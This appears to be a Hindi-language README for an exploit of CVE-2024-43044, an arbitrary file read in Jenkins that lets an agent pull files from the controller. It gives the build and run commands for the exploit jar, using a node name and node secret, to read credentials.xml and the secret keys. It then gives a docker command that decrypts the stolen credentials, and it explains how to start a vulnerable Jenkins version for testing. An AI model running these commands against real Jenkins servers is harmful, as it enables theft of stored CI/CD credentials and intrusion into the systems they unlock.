
CVE-2024-43044 के लिए एक्सप्लॉइट जो Jenkins कंट्रोलर से मनमाना फ़ाइल पढ़ने में सक्षम बनाता है, ताकि सीक्रेट कुंजियों का उपयोग करके credentials.xml को निकाला और डिक्रिप्ट किया जा सके।
यह CVE-2024-43044 के लिए एक एक्सप्लॉइट है, एक आर्बिट्ररी फ़ाइल रीड जो एजेंट को कंट्रोलर से फ़ाइलें प्राप्त करने की अनुमति देती है।
यह एक्सप्लॉइट कमजोरी का उपयोग करके credentials.xml फ़ाइल को पढ़ेगा और उसे डिक्रिप्ट करने के लिए गुप्त कुंजियाँ प्राप्त करेगा।
प्रारंभिक कोड : https://github.com/convisolabs/CVE-2024-43044-jenkins मूल राइटअप : https://blog.convisoappsec.com/en/analysis-of-cve-2024-43044/
mvn package
java -jar exploit.jar mode_secret <jenkinsUrl> <nodeName> <nodeSecretKey>
docker run \
--rm \
--network none \
--workdir / \
--mount "type=bind,src=$PWD/master.key,dst=/master.key" \
--mount "type=bind,src=$PWD/hudson.util.Secret,dst=/hudson.util.Secret" \
--mount "type=bind,src=$PWD/credentials.xml,dst=/credentials.xml" \
docker.io/hoto/jenkins-credentials-decryptor:latest \
/jenkins-credentials-decryptor \
-m master.key \
-s hudson.util.Secret \
-c credentials.xml \
-o json
आप इसे डॉकर का उपयोग करके कमजोर संस्करण में परीक्षण कर सकते हैं:
docker run -p 8080:8080 -p 50000:50000 --restart=on-failure jenkins/jenkins:2.441-jdk17
एक बार जब आपके पास चल रहा जेनकिंस हो, तो एक एजेंट सेटअप करें।